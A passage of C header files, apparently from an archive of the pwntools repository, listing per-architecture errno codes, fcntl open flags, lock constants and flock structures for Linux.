#define EBADMSG 77 /* Not a data message */ #define ENAMETOOLONG 78 /* File name too long */ #define EOVERFLOW 79 /* Value too large for defined data type */ #define ENOTUNIQ 80 /* Name not unique on network */ #define EBADFD 81 /* File descriptor in bad state */ #define EREMCHG 82 /* Remote address changed */ #define ELIBACC 83 /* Can not access a needed shared library */ #define ELIBBAD 84 /* Accessing a corrupted shared library */ #define ELIBSCN 85 /* .lib section in a.out corrupted */ #define ELIBMAX 86 /* Attempting to link in too many shared libraries */ #define ELIBEXEC 87 /* Cannot exec a shared library directly */ #define EILSEQ 88 /* Illegal byte sequence */ #define ENOSYS 89 /* Function not implemented */ #define ELOOP 90 /* Too many symbolic links encountered */ #define ERESTART 91 /* Interrupted system call should be restarted */ #define ESTRPIPE 92 /* Streams pipe error */ #define ENOTEMPTY 93 /* Directory not empty */ #define EUSERS 94 /* Too many users */ #define ENOTSOCK 95 /* Socket operation on non-socket */ #define EDESTADDRREQ 96 /* Destination address required */ #define EMSGSIZE 97 /* Message too long */ #define EPROTOTYPE 98 /* Protocol wrong type for socket */ #define ENOPROTOOPT 99 /* Protocol not available */ #define EPROTONOSUPPORT 120 /* Protocol not supported */ #define ESOCKTNOSUPPORT 121 /* Socket type not supported */ #define EOPNOTSUPP 122 /* Operation not supported on transport endpoint */ #define ENOTSUP EOPNOTSUPP/* Operation not supported on transport endpoint */ #define EPFNOSUPPORT 123 /* Protocol family not supported */ #define EAFNOSUPPORT 124 /* Address family not supported by protocol */ #define EADDRINUSE 125 /* Address already in use */ #define EADDRNOTAVAIL 126 /* Cannot assign requested address */ #define ENETDOWN 127 /* Network is down */ #define ENETUNREACH 128 /* Network is unreachable */ #define ENETRESET 129 /* Network dropped connection because of reset */ #define ECONNABORTED 130 /* Software caused connection abort */ #define ECONNRESET 131 /* Connection reset by peer */ #define ENOBUFS 132 /* No buffer space available */ #define EISCONN 133 /* Transport endpoint is already connected */ #define ENOTCONN 134 /* Transport endpoint is not connected */ #define EUCLEAN 135 /* Structure needs cleaning */ #define ENOTNAM 137 /* Not a XENIX named type file */ #define ENAVAIL 138 /* No XENIX semaphores available */ #define EISNAM 139 /* Is a named type file */ #define EREMOTEIO 140 /* Remote I/O error */ #define EINIT 141 /* Reserved */ #define EREMDEV 142 /* Error 142 */ #define ESHUTDOWN 143 /* Cannot send after transport endpoint shutdown */ #define ETOOMANYREFS 144 /* Too many references: cannot splice */ #define ETIMEDOUT 145 /* Connection timed out */ #define ECONNREFUSED 146 /* Connection refused */ #define EHOSTDOWN 147 /* Host is down */ #define EHOSTUNREACH 148 /* No route to host */ #define EWOULDBLOCK EAGAIN /* Operation would block */ #define EALREADY 149 /* Operation already in progress */ #define EINPROGRESS 150 /* Operation now in progress */ #define ESTALE 151 /* Stale NFS file handle */ #define ECANCELED 158 /* AIO operation canceled */ #define ENOMEDIUM 159 /* No medium found */ #define EMEDIUMTYPE 160 /* Wrong medium type */ #define ENOKEY 161 /* Required key not available */ #define EKEYEXPIRED 162 /* Key has expired */ #define EKEYREVOKED 163 /* Key has been revoked */ #define EKEYREJECTED 164 /* Key was rejected by service */ /* for robust mutexes */ #define EOWNERDEAD 165 /* Owner died */ #define ENOTRECOVERABLE 166 /* State not recoverable */ #define ERFKILL 167 /* Operation not possible due to RF-kill */ #define EHWPOISON 168 /* Memory page has hardware error */ #define EDQUOT 1133 /* Quota exceeded */ #define __SYS_NERR ((EHWPOISON) + 1) #elif defined(__sparc__) #define EPERM 1 /* Operation not permitted */ #define ENOENT 2 /* No such file or directory */ #define ESRCH 3 /* No such process */ #define EINTR 4 /* Interrupted system call */ #define EIO 5 /* I/O error */ #define ENXIO 6 /* No such device or address */ #define E2BIG 7 /* Arg list too long */ #define ENOEXEC 8 /* Exec format error */ #define EBADF 9 /* Bad file number */ #define ECHILD 10 /* No child processes */ #define EAGAIN 11 /* Try again */ #define ENOMEM 12 /* Out of memory */ #define EACCES 13 /* Permission denied */ #define EFAULT 14 /* Bad address */ #define ENOTBLK 15 /* Block device required */ #define EBUSY 16 /* Device or resource busy */ #define EEXIST 17 /* File exists */ #define EXDEV 18 /* Cross-device link */ #define ENODEV 19 /* No such device */ #define ENOTDIR 20 /* Not a directory */ #define EISDIR 21 /* Is a directory */ #define EINVAL 22 /* Invalid argument */ #define ENFILE 23 /* File table overflow */ #define EMFILE 24 /* Too many open files */ #define ENOTTY 25 /* Not a typewriter */ #define ETXTBSY 26 /* Text file busy */ #define EFBIG 27 /* File too large */ #define ENOSPC 28 /* No space left on device */ #define ESPIPE 29 /* Illegal seek */ #define EROFS 30 /* Read-only file system */ #define EMLINK 31 /* Too many links */ #define EPIPE 32 /* Broken pipe */ #define EDOM 33 /* Math argument out of domain of func */ #define ERANGE 34 /* Math result not representable */ #define EWOULDBLOCK EAGAIN /* Operation would block */ #define EINPROGRESS 36 /* Operation now in progress */ #define EALREADY 37 /* Operation already in progress */ #define ENOTSOCK 38 /* Socket operation on non-socket */ #define EDESTADDRREQ 39 /* Destination address required */ #define EMSGSIZE 40 /* Message too long */ #define EPROTOTYPE 41 /* Protocol wrong type for socket */ #define ENOPROTOOPT 42 /* Protocol not available */ #define EPROTONOSUPPORT 43 /* Protocol not supported */ #define ESOCKTNOSUPPORT 44 /* Socket type not supported */ #define EOPNOTSUPP 45 /* Op not supported on transport endpoint */ #define ENOTSUP EOPNOTSUPP/* Operation not supported on transport endpoint */ #define EPFNOSUPPORT 46 /* Protocol family not supported */ #define EAFNOSUPPORT 47 /* Address family not supported by protocol */ #define EADDRINUSE 48 /* Address already in use */ #define EADDRNOTAVAIL 49 /* Cannot assign requested address */ #define ENETDOWN 50 /* Network is down */ #define ENETUNREACH 51 /* Network is unreachable */ #define ENETRESET 52 /* Net dropped connection because of reset */ #define ECONNABORTED 53 /* Software caused connection abort */ #define ECONNRESET 54 /* Connection reset by peer */ #define ENOBUFS 55 /* No buffer space available */ #define EISCONN 56 /* Transport endpoint is already connected */ #define ENOTCONN 57 /* Transport endpoint is not connected */ #define ESHUTDOWN 58 /* No send after transport endpoint shutdown */ #define ETOOMANYREFS 59 /* Too many references: cannot splice */ #define ETIMEDOUT 60 /* Connection timed out */ #define ECONNREFUSED 61 /* Connection refused */ #define ELOOP 62 /* Too many symbolic links encountered */ #define ENAMETOOLONG 63 /* File name too long */ #define EHOSTDOWN 64 /* Host is down */ #define EHOSTUNREACH 65 /* No route to host */ #define ENOTEMPTY 66 /* Directory not empty */ #define EPROCLIM 67 /* SUNOS: Too many processes */ #define EUSERS 68 /* Too many users */ #define EDQUOT 69 /* Quota exceeded */ #define ESTALE 70 /* Stale NFS file handle */ #define EREMOTE 71 /* Object is remote */ #define ENOSTR 72 /* Device not a stream */ #define ETIME 73 /* Timer expired */ #define ENOSR 74 /* Out of streams resources */ #define ENOMSG 75 /* No message of desired type */ #define EBADMSG 76 /* Not a data message */ #define EIDRM 77 /* Identifier removed */ #define EDEADLK 78 /* Resource deadlock would occur */ #define ENOLCK 79 /* No record locks available */ #define ENONET 80 /* Machine is not on the network */ #define ERREMOTE 81 /* SunOS: Too many lvls of remote in path */ #define ENOLINK 82 /* Link has been severed */ #define EADV 83 /* Advertise error */ #define ESRMNT 84 /* Srmount error */ #define ECOMM 85 /* Communication error on send */ #define EPROTO 86 /* Protocol error */ #define EMULTIHOP 87 /* Multihop attempted */ #define EDOTDOT 88 /* RFS specific error */ #define EREMCHG 89 /* Remote address changed */ #define ENOSYS 90 /* Function not implemented */ #define ESTRPIPE 91 /* Streams pipe error */ #define EOVERFLOW 92 /* Value too large for defined data type */ #define EBADFD 93 /* File descriptor in bad state */ #define ECHRNG 94 /* Channel number out of range */ #define EL2NSYNC 95 /* Level 2 not synchronized */ #define EL3HLT 96 /* Level 3 halted */ #define EL3RST 97 /* Level 3 reset */ #define ELNRNG 98 /* Link number out of range */ #define EUNATCH 99 /* Protocol driver not attached */ #define ENOCSI 100 /* No CSI structure available */ #define EL2HLT 101 /* Level 2 halted */ #define EBADE 102 /* Invalid exchange */ #define EBADR 103 /* Invalid request descriptor */ #define EXFULL 104 /* Exchange full */ #define ENOANO 105 /* No anode */ #define EBADRQC 106 /* Invalid request code */ #define EBADSLT 107 /* Invalid slot */ #define EDEADLOCK 108 /* File locking deadlock error */ #define EBFONT 109 /* Bad font file format */ #define ELIBEXEC 110 /* Cannot exec a shared library directly */ #define ENODATA 111 /* No data available */ #define ELIBBAD 112 /* Accessing a corrupted shared library */ #define ENOPKG 113 /* Package not installed */ #define ELIBACC 114 /* Can not access a needed shared library */ #define ENOTUNIQ 115 /* Name not unique on network */ #define ERESTART 116 /* Interrupted syscall should be restarted */ #define EUCLEAN 117 /* Structure needs cleaning */ #define ENOTNAM 118 /* Not a XENIX named type file */ #define ENAVAIL 119 /* No XENIX semaphores available */ #define EISNAM 120 /* Is a named type file */ #define EREMOTEIO 121 /* Remote I/O error */ #define EILSEQ 122 /* Illegal byte sequence */ #define ELIBMAX 123 /* Atmpt to link in too many shared libs */ #define ELIBSCN 124 /* .lib section in a.out corrupted */ #define ENOMEDIUM 125 /* No medium found */ #define EMEDIUMTYPE 126 /* Wrong medium type */ #define ECANCELED 127 /* Operation Cancelled */ #define ENOKEY 128 /* Required key not available */ #define EKEYEXPIRED 129 /* Key has expired */ #define EKEYREVOKED 130 /* Key has been revoked */ #define EKEYREJECTED 131 /* Key was rejected by service */ /* for robust mutexes */ #define EOWNERDEAD 132 /* Owner died */ #define ENOTRECOVERABLE 133 /* State not recoverable */ #define ERFKILL 134 /* Operation not possible due to RF-kill */ #define EHWPOISON 135 /* Memory page has hardware error */ #define __SYS_NERR ((EHWPOISON) + 1) #elif defined(__hppa__) #define EPERM 1 /* Operation not permitted */ #define ENOENT 2 /* No such file or directory */ #define ESRCH 3 /* No such process */ #define EINTR 4 /* Interrupted system call */ #define EIO 5 /* I/O error */ #define ENXIO 6 /* No such device or address */ #define E2BIG 7 /* Argument list too long */ #define ENOEXEC 8 /* Exec format error */ #define EBADF 9 /* Bad file number */ #define ECHILD 10 /* No child processes */ #define EAGAIN 11 /* Try again */ #define ENOMEM 12 /* Out of memory */ #define EACCES 13 /* Permission denied */ #define EFAULT 14 /* Bad address */ #define ENOTBLK 15 /* Block device required */ #define EBUSY 16 /* Device or resource busy */ #define EEXIST 17 /* File exists */ #define EXDEV 18 /* Cross-device link */ #define ENODEV 19 /* No such device */ #define ENOTDIR 20 /* Not a directory */ #define EISDIR 21 /* Is a directory */ #define EINVAL 22 /* Invalid argument */ #define ENFILE 23 /* File table overflow */ #define EMFILE 24 /* Too many open files */ #define ENOTTY 25 /* Not a typewriter */ #define ETXTBSY 26 /* Text file busy */ #define EFBIG 27 /* File too large */ #define ENOSPC 28 /* No space left on device */ #define ESPIPE 29 /* Illegal seek */ #define EROFS 30 /* Read-only file system */ #define EMLINK 31 /* Too many links */ #define EPIPE 32 /* Broken pipe */ #define EDOM 33 /* Math argument out of domain of func */ #define ERANGE 34 /* Math result not representable */ #define ENOMSG 35 /* No message of desired type */ #define EIDRM 36 /* Identifier removed */ #define ECHRNG 37 /* Channel number out of range */ #define EL2NSYNC 38 /* Level 2 not synchronized */ #define EL3HLT 39 /* Level 3 halted */ #define EL3RST 40 /* Level 3 reset */ #define ELNRNG 41 /* Link number out of range */ #define EUNATCH 42 /* Protocol driver not attached */ #define ENOCSI 43 /* No CSI structure available */ #define EL2HLT 44 /* Level 2 halted */ #define EDEADLK 45 /* Resource deadlock would occur */ #define EDEADLOCK EDEADLK #define ENOLCK 46 /* No record locks available */ #define EILSEQ 47 /* Illegal byte sequence */ #define ENONET 50 /* Machine is not on the network */ #define ENODATA 51 /* No data available */ #define ETIME 52 /* Timer expired */ #define ENOSR 53 /* Out of streams resources */ #define ENOSTR 54 /* Device not a stream */ #define ENOPKG 55 /* Package not installed */ #define ENOLINK 57 /* Link has been severed */ #define EADV 58 /* Advertise error */ #define ESRMNT 59 /* Srmount error */ #define ECOMM 60 /* Communication error on send */ #define EPROTO 61 /* Protocol error */ #define EMULTIHOP 64 /* Multihop attempted */ #define EDOTDOT 66 /* RFS specific error */ #define EBADMSG 67 /* Not a data message */ #define EUSERS 68 /* Too many users */ #define EDQUOT 69 /* Quota exceeded */ #define ESTALE 70 /* Stale NFS file handle */ #define EREMOTE 71 /* Object is remote */ #define EOVERFLOW 72 /* Value too large for defined data type */ /* these errnos are defined by Linux but not HPUX. */ #define EBADE 160 /* Invalid exchange */ #define EBADR 161 /* Invalid request descriptor */ #define EXFULL 162 /* Exchange full */ #define ENOANO 163 /* No anode */ #define EBADRQC 164 /* Invalid request code */ #define EBADSLT 165 /* Invalid slot */ #define EBFONT 166 /* Bad font file format */ #define ENOTUNIQ 167 /* Name not unique on network */ #define EBADFD 168 /* File descriptor in bad state */ #define EREMCHG 169 /* Remote address changed */ #define ELIBACC 170 /* Can not access a needed shared library */ #define ELIBBAD 171 /* Accessing a corrupted shared library */ #define ELIBSCN 172 /* .lib section in a.out corrupted */ #define ELIBMAX 173 /* Attempting to link in too many shared libraries */ #define ELIBEXEC 174 /* Cannot exec a shared library directly */ #define ERESTART 175 /* Interrupted system call should be restarted */ #define ESTRPIPE 176 /* Streams pipe error */ #define EUCLEAN 177 /* Structure needs cleaning */ #define ENOTNAM 178 /* Not a XENIX named type file */ #define ENAVAIL 179 /* No XENIX semaphores available */ #define EISNAM 180 /* Is a named type file */ #define EREMOTEIO 181 /* Remote I/O error */ #define ENOMEDIUM 182 /* No medium found */ #define EMEDIUMTYPE 183 /* Wrong medium type */ #define ENOKEY 184 /* Required key not available */ #define EKEYEXPIRED 185 /* Key has expired */ #define EKEYREVOKED 186 /* Key has been revoked */ #define EKEYREJECTED 187 /* Key was rejected by service */ /* We now return you to your regularly scheduled HPUX. */ #define ENOSYM 215 /* symbol does not exist in executable */ #define ENOTSOCK 216 /* Socket operation on non-socket */ #define EDESTADDRREQ 217 /* Destination address required */ #define EMSGSIZE 218 /* Message too long */ #define EPROTOTYPE 219 /* Protocol wrong type for socket */ #define ENOPROTOOPT 220 /* Protocol not available */ #define EPROTONOSUPPORT 221 /* Protocol not supported */ #define ESOCKTNOSUPPORT 222 /* Socket type not supported */ #define EOPNOTSUPP 223 /* Operation not supported on transport endpoint */ #define EPFNOSUPPORT 224 /* Protocol family not supported */ #define EAFNOSUPPORT 225 /* Address family not supported by protocol */ #define EADDRINUSE 226 /* Address already in use */ #define EADDRNOTAVAIL 227 /* Cannot assign requested address */ #define ENETDOWN 228 /* Network is down */ #define ENETUNREACH 229 /* Network is unreachable */ #define ENETRESET 230 /* Network dropped connection because of reset */ #define ECONNABORTED 231 /* Software caused connection abort */ #define ECONNRESET 232 /* Connection reset by peer */ #define ENOBUFS 233 /* No buffer space available */ #define EISCONN 234 /* Transport endpoint is already connected */ #define ENOTCONN 235 /* Transport endpoint is not connected */ #define ESHUTDOWN 236 /* Cannot send after transport endpoint shutdown */ #define ETOOMANYREFS 237 /* Too many references: cannot splice */ #define EREFUSED ECONNREFUSED /* for HP's NFS apparently */ #define ETIMEDOUT 238 /* Connection timed out */ #define ECONNREFUSED 239 /* Connection refused */ #define EREMOTERELEASE 240 /* Remote peer released connection */ #define EHOSTDOWN 241 /* Host is down */ #define EHOSTUNREACH 242 /* No route to host */ #define EALREADY 244 /* Operation already in progress */ #define EINPROGRESS 245 /* Operation now in progress */ #define EWOULDBLOCK EAGAIN /* Operation would block (Linux returns EAGAIN) */ #define ENOTEMPTY 247 /* Directory not empty */ #define ENAMETOOLONG 248 /* File name too long */ #define ELOOP 249 /* Too many symbolic links encountered */ #define ENOSYS 251 /* Function not implemented */ #define ENOTSUP 252 /* Function not implemented (POSIX.4 / HPUX) */ #define ECANCELLED 253 /* aio request was canceled before complete (POSIX.4 / HPUX) */ /* for robust mutexes */ #define EOWNERDEAD 254 /* Owner died */ #define ENOTRECOVERABLE 255 /* State not recoverable */ #define ERFKILL 256 /* Operation not possible due to RF-kill */ #define EHWPOISON 257 /* Memory page has hardware error */ #define __SYS_NERR ((EHWPOISON) + 1) #else /* i386, arm, aarch64, ppc, x86_64, ia64 */ #define EPERM 1 /* Operation not permitted */ #define ENOENT 2 /* No such file or directory */ #define ESRCH 3 /* No such process */ #define EINTR 4 /* Interrupted system call */ #define EIO 5 /* I/O error */ #define ENXIO 6 /* No such device or address */ #define E2BIG 7 /* Arg list too long */ #define ENOEXEC 8 /* Exec format error */ #define EBADF 9 /* Bad file number */ #define ECHILD 10 /* No child processes */ #define EAGAIN 11 /* Try again */ #define ENOMEM 12 /* Out of memory */ #define EACCES 13 /* Permission denied */ #define EFAULT 14 /* Bad address */ #define ENOTBLK 15 /* Block device required */ #define EBUSY 16 /* Device or resource busy */ #define EEXIST 17 /* File exists */ #define EXDEV 18 /* Cross-device link */ #define ENODEV 19 /* No such device */ #define ENOTDIR 20 /* Not a directory */ #define EISDIR 21 /* Is a directory */ #define EINVAL 22 /* Invalid argument */ #define ENFILE 23 /* File table overflow */ #define EMFILE 24 /* Too many open files */ #define ENOTTY 25 /* Not a typewriter */ #define ETXTBSY 26 /* Text file busy */ #define EFBIG 27 /* File too large */ #define ENOSPC 28 /* No space left on device */ #define ESPIPE 29 /* Illegal seek */ #define EROFS 30 /* Read-only file system */ #define EMLINK 31 /* Too many links */ #define EPIPE 32 /* Broken pipe */ #define EDOM 33 /* Math argument out of domain of func */ #define ERANGE 34 /* Math result not representable */ #define EDEADLK 35 /* Resource deadlock would occur */ #define ENAMETOOLONG 36 /* File name too long */ #define ENOLCK 37 /* No record locks available */ #define ENOSYS 38 /* Function not implemented */ #define ENOTEMPTY 39 /* Directory not empty */ #define ELOOP 40 /* Too many symbolic links encountered */ #define EWOULDBLOCK EAGAIN /* Operation would block */ #define ENOMSG 42 /* No message of desired type */ #define EIDRM 43 /* Identifier removed */ #define ECHRNG 44 /* Channel number out of range */ #define EL2NSYNC 45 /* Level 2 not synchronized */ #define EL3HLT 46 /* Level 3 halted */ #define EL3RST 47 /* Level 3 reset */ #define ELNRNG 48 /* Link number out of range */ #define EUNATCH 49 /* Protocol driver not attached */ #define ENOCSI 50 /* No CSI structure available */ #define EL2HLT 51 /* Level 2 halted */ #define EBADE 52 /* Invalid exchange */ #define EBADR 53 /* Invalid request descriptor */ #define EXFULL 54 /* Exchange full */ #define ENOANO 55 /* No anode */ #define EBADRQC 56 /* Invalid request code */ #define EBADSLT 57 /* Invalid slot */ #define EDEADLOCK EDEADLK #define EBFONT 59 /* Bad font file format */ #define ENOSTR 60 /* Device not a stream */ #define ENODATA 61 /* No data available */ #define ETIME 62 /* Timer expired */ #define ENOSR 63 /* Out of streams resources */ #define ENONET 64 /* Machine is not on the network */ #define ENOPKG 65 /* Package not installed */ #define EREMOTE 66 /* Object is remote */ #define ENOLINK 67 /* Link has been severed */ #define EADV 68 /* Advertise error */ #define ESRMNT 69 /* Srmount error */ #define ECOMM 70 /* Communication error on send */ #define EPROTO 71 /* Protocol error */ #define EMULTIHOP 72 /* Multihop attempted */ #define EDOTDOT 73 /* RFS specific error */ #define EBADMSG 74 /* Not a data message */ #define EOVERFLOW 75 /* Value too large for defined data type */ #define ENOTUNIQ 76 /* Name not unique on network */ #define EBADFD 77 /* File descriptor in bad state */ #define EREMCHG 78 /* Remote address changed */ #define ELIBACC 79 /* Can not access a needed shared library */ #define ELIBBAD 80 /* Accessing a corrupted shared library */ #define ELIBSCN 81 /* .lib section in a.out corrupted */ #define ELIBMAX 82 /* Attempting to link in too many shared libraries */ #define ELIBEXEC 83 /* Cannot exec a shared library directly */ #define EILSEQ 84 /* Illegal byte sequence */ #define ERESTART 85 /* Interrupted system call should be restarted */ #define ESTRPIPE 86 /* Streams pipe error */ #define EUSERS 87 /* Too many users */ #define ENOTSOCK 88 /* Socket operation on non-socket */ #define EDESTADDRREQ 89 /* Destination address required */ #define EMSGSIZE 90 /* Message too long */ #define EPROTOTYPE 91 /* Protocol wrong type for socket */ #define ENOPROTOOPT 92 /* Protocol not available */ #define EPROTONOSUPPORT 93 /* Protocol not supported */ #define ESOCKTNOSUPPORT 94 /* Socket type not supported */ #define EOPNOTSUPP 95 /* Operation not supported on transport endpoint */ #define ENOTSUP EOPNOTSUPP/* Operation not supported on transport endpoint */ #define EPFNOSUPPORT 96 /* Protocol family not supported */ #define EAFNOSUPPORT 97 /* Address family not supported by protocol */ #define EADDRINUSE 98 /* Address already in use */ #define EADDRNOTAVAIL 99 /* Cannot assign requested address */ #define ENETDOWN 100 /* Network is down */ #define ENETUNREACH 101 /* Network is unreachable */ #define ENETRESET 102 /* Network dropped connection because of reset */ #define ECONNABORTED 103 /* Software caused connection abort */ #define ECONNRESET 104 /* Connection reset by peer */ #define ENOBUFS 105 /* No buffer space available */ #define EISCONN 106 /* Transport endpoint is already connected */ #define ENOTCONN 107 /* Transport endpoint is not connected */ #define ESHUTDOWN 108 /* Cannot send after transport endpoint shutdown */ #define ETOOMANYREFS 109 /* Too many references: cannot splice */ #define ETIMEDOUT 110 /* Connection timed out */ #define ECONNREFUSED 111 /* Connection refused */ #define EHOSTDOWN 112 /* Host is down */ #define EHOSTUNREACH 113 /* No route to host */ #define EALREADY 114 /* Operation already in progress */ #define EINPROGRESS 115 /* Operation now in progress */ #define ESTALE 116 /* Stale NFS file handle */ #define EUCLEAN 117 /* Structure needs cleaning */ #define ENOTNAM 118 /* Not a XENIX named type file */ #define ENAVAIL 119 /* No XENIX semaphores available */ #define EISNAM 120 /* Is a named type file */ #define EREMOTEIO 121 /* Remote I/O error */ #define EDQUOT 122 /* Quota exceeded */ #define ENOMEDIUM 123 /* No medium found */ #define EMEDIUMTYPE 124 /* Wrong medium type */ #define ECANCELED 125 /* Operation Canceled */ #define ENOKEY 126 /* Required key not available */ #define EKEYEXPIRED 127 /* Key has expired */ #define EKEYREVOKED 128 /* Key has been revoked */ #define EKEYREJECTED 129 /* Key was rejected by service */ /* for robust mutexes */ #define EOWNERDEAD 130 /* Owner died */ #define ENOTRECOVERABLE 131 /* State not recoverable */ #define ERFKILL 132 /* Operation not possible due to RF-kill */ #define EHWPOISON 133 /* Memory page has hardware error */ #define __SYS_NERR ((EHWPOISON) + 1) #endif #ifndef __ASSEMBLER__ #include __BEGIN_DECLS // #include extern int *__errno_location(void); #define errno (*__errno_location()) #define __set_errno(x) errno=(x) #ifdef _BSD_SOURCE /* don't use, use strerror() instead! */ extern const char *const sys_errlist[] __attribute_dontuse__; extern int sys_nerr __attribute_dontuse__; #endif #ifdef _GNU_SOURCE extern char* program_invocation_name __attribute_dontuse__; extern char* program_invocation_short_name __attribute_dontuse__; #endif __END_DECLS #endif #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/fcntl.h000066400000000000000000000553501507273764500275550ustar00rootroot00000000000000#ifndef _FCNTL_H #define _FCNTL_H #include #include #include #include #include #include __BEGIN_DECLS #define F_LINUX_SPECIFIC_BASE 1024 #if defined(__i386__) || defined(__s390__) || defined(__x86_64__) || defined(__ia64__) #define O_ACCMODE 0003 #define O_RDONLY 00 #define O_WRONLY 01 #define O_RDWR 02 #define O_CREAT 0100 /* not fcntl */ #define O_EXCL 0200 /* not fcntl */ #define O_NOCTTY 0400 /* not fcntl */ #define O_TRUNC 01000 /* not fcntl */ #define O_APPEND 02000 #define O_NONBLOCK 04000 #define O_NDELAY O_NONBLOCK #define O_DSYNC 010000 #define FASYNC 020000 /* fcntl, for BSD compatibility */ #define O_DIRECT 040000 /* direct disk access hint - currently ignored */ #define O_LARGEFILE 0100000 #define O_DIRECTORY 0200000 /* must be a directory */ #define O_NOFOLLOW 0400000 /* don't follow links */ #define O_NOATIME 01000000 #define O_CLOEXEC 02000000 #define O_SYNC (O_DSYNC|04000000) #define O_PATH 010000000 #define __O_TMPFILE 020000000 #define F_DUPFD 0 /* dup */ #define F_GETFD 1 /* get close_on_exec */ #define F_SETFD 2 /* set/clear close_on_exec */ #define F_GETFL 3 /* get file->f_flags */ #define F_SETFL 4 /* set file->f_flags */ #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 /* for sockets. */ #define F_GETOWN 9 /* for sockets. */ #define F_SETSIG 10 /* for sockets. */ #define F_GETSIG 11 /* for sockets. */ #define F_GETLK64 12 /* using 'struct flock64' */ #define F_SETLK64 13 #define F_SETLKW64 14 #define FD_CLOEXEC 1 /* actually anything with low bit set goes */ /* for posix fcntl() and lockf() */ #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 /* for old implementation of bsd flock () */ #define F_EXLCK 4 /* or 3 */ #define F_SHLCK 8 /* or 4 */ /* for leases */ #define F_INPROGRESS 16 /* operations for bsd flock(), also used by the kernel implementation */ #define LOCK_SH 1 /* shared lock */ #define LOCK_EX 2 /* exclusive lock */ #define LOCK_NB 4 /* or'd with one of the above to prevent blocking */ #define LOCK_UN 8 /* remove lock */ #define LOCK_MAND 32 /* This is a mandatory flock */ #define LOCK_READ 64 /* ... Which allows concurrent read operations */ #define LOCK_WRITE 128 /* ... Which allows concurrent write operations */ #define LOCK_RW 192 /* ... Which allows concurrent read & write ops */ struct flock { int16_t l_type; int16_t l_whence; off_t l_start; off_t l_len; pid_t l_pid; }; struct flock64 { int16_t l_type; int16_t l_whence; loff_t l_start; loff_t l_len; pid_t l_pid; }; #elif defined(__alpha__) #define O_ACCMODE 0003 #define O_RDONLY 00 #define O_WRONLY 01 #define O_RDWR 02 #define O_CREAT 01000 /* not fcntl */ #define O_TRUNC 02000 /* not fcntl */ #define O_EXCL 04000 /* not fcntl */ #define O_NOCTTY 010000 /* not fcntl */ #define O_NONBLOCK 00004 #define O_APPEND 00010 #define O_NDELAY O_NONBLOCK #define O_DSYNC 040000 #define FASYNC 020000 /* fcntl, for BSD compatibility */ #define O_DIRECTORY 0100000 /* must be a directory */ #define O_NOFOLLOW 0200000 /* don't follow links */ #define O_LARGEFILE 0400000 /* will be set by the kernel on every open */ #define O_DIRECT 02000000 /* direct disk access - should check with OSF/1 */ #define O_NOATIME 04000000 #define O_CLOEXEC 010000000 #define O_SYNC (020000000|O_DSYNC) #define O_PATH 040000000 #define __O_TMPFILE 0100000000 #define F_DUPFD 0 /* dup */ #define F_GETFD 1 /* get close_on_exec */ #define F_SETFD 2 /* set/clear close_on_exec */ #define F_GETFL 3 /* get file->f_flags */ #define F_SETFL 4 /* set file->f_flags */ #define F_GETLK 7 #define F_SETLK 8 #define F_SETLKW 9 #define F_SETOWN 5 /* for sockets. */ #define F_GETOWN 6 /* for sockets. */ #define F_SETSIG 10 /* for sockets. */ #define F_GETSIG 11 /* for sockets. */ /* for F_[GET|SET]FL */ #define FD_CLOEXEC 1 /* actually anything with low bit set goes */ /* for posix fcntl() and lockf() */ #define F_RDLCK 1 #define F_WRLCK 2 #define F_UNLCK 8 /* for old implementation of bsd flock () */ #define F_EXLCK 16 /* or 3 */ #define F_SHLCK 32 /* or 4 */ #define F_INPROGRESS 64 /* operations for bsd flock(), also used by the kernel implementation */ #define LOCK_SH 1 /* shared lock */ #define LOCK_EX 2 /* exclusive lock */ #define LOCK_NB 4 /* or'd with one of the above to prevent blocking */ #define LOCK_UN 8 /* remove lock */ #define LOCK_MAND 32 /* This is a mandatory flock */ #define LOCK_READ 64 /* ... Which allows concurrent read operations */ #define LOCK_WRITE 128 /* ... Which allows concurrent write operations */ #define LOCK_RW 192 /* ... Which allows concurrent read & write ops */ struct flock { int16_t l_type; int16_t l_whence; off_t l_start; off_t l_len; pid_t l_pid; }; #elif defined(__mips__) #define O_ACCMODE 0x0003 #define O_RDONLY 0x0000 #define O_WRONLY 0x0001 #define O_RDWR 0x0002 #define O_APPEND 0x0008 #define O_DSYNC 0x0010 #define O_NONBLOCK 0x0080 #define O_CREAT 0x0100 /* not fcntl */ #define O_TRUNC 0x0200 /* not fcntl */ #define O_EXCL 0x0400 /* not fcntl */ #define O_NOCTTY 0x0800 /* not fcntl */ #define FASYNC 0x1000 /* fcntl, for BSD compatibility */ #ifdef __mips64__ #define O_LARGEFILE 0 #else #define O_LARGEFILE 0x2000 /* allow large file opens - currently ignored */ #endif #define O_SYNC (0x4000|O_DSYNC) #define O_DIRECT 0x8000 /* direct disk access hint - currently ignored */ #define O_DIRECTORY 0x10000 /* must be a directory */ #define O_NOFOLLOW 0x20000 /* don't follow links */ #define O_NOATIME 0x40000 #define O_CLOEXEC 0x80000 #define O_PATH 010000000 #define __O_TMPFILE 020000000 #define O_NDELAY O_NONBLOCK #define F_DUPFD 0 /* dup */ #define F_GETFD 1 /* get close_on_exec */ #define F_SETFD 2 /* set/clear close_on_exec */ #define F_GETFL 3 /* get file->f_flags */ #define F_SETFL 4 /* set file->f_flags */ #define F_GETLK 14 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 24 /* for sockets. */ #define F_GETOWN 23 /* for sockets. */ #define F_SETSIG 10 /* for sockets. */ #define F_GETSIG 11 /* for sockets. */ #ifndef __mips64__ #define F_GETLK64 33 /* using 'struct flock64' */ #define F_SETLK64 34 #define F_SETLKW64 35 #endif /* for F_[GET|SET]FL */ #define FD_CLOEXEC 1 /* actually anything with low bit set goes */ /* for posix fcntl() and lockf() */ #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 /* for old implementation of bsd flock () */ #define F_EXLCK 4 /* or 3 */ #define F_SHLCK 8 /* or 4 */ /* for leases */ #define F_INPROGRESS 16 /* operations for bsd flock(), also used by the kernel implementation */ #define LOCK_SH 1 /* shared lock */ #define LOCK_EX 2 /* exclusive lock */ #define LOCK_NB 4 /* or'd with one of the above to prevent XXXXXXXXXXXXXXXXXX blocking */ #define LOCK_UN 8 /* remove lock */ #define LOCK_MAND 32 /* This is a mandatory flock */ #define LOCK_READ 64 /* ... Which allows concurrent read 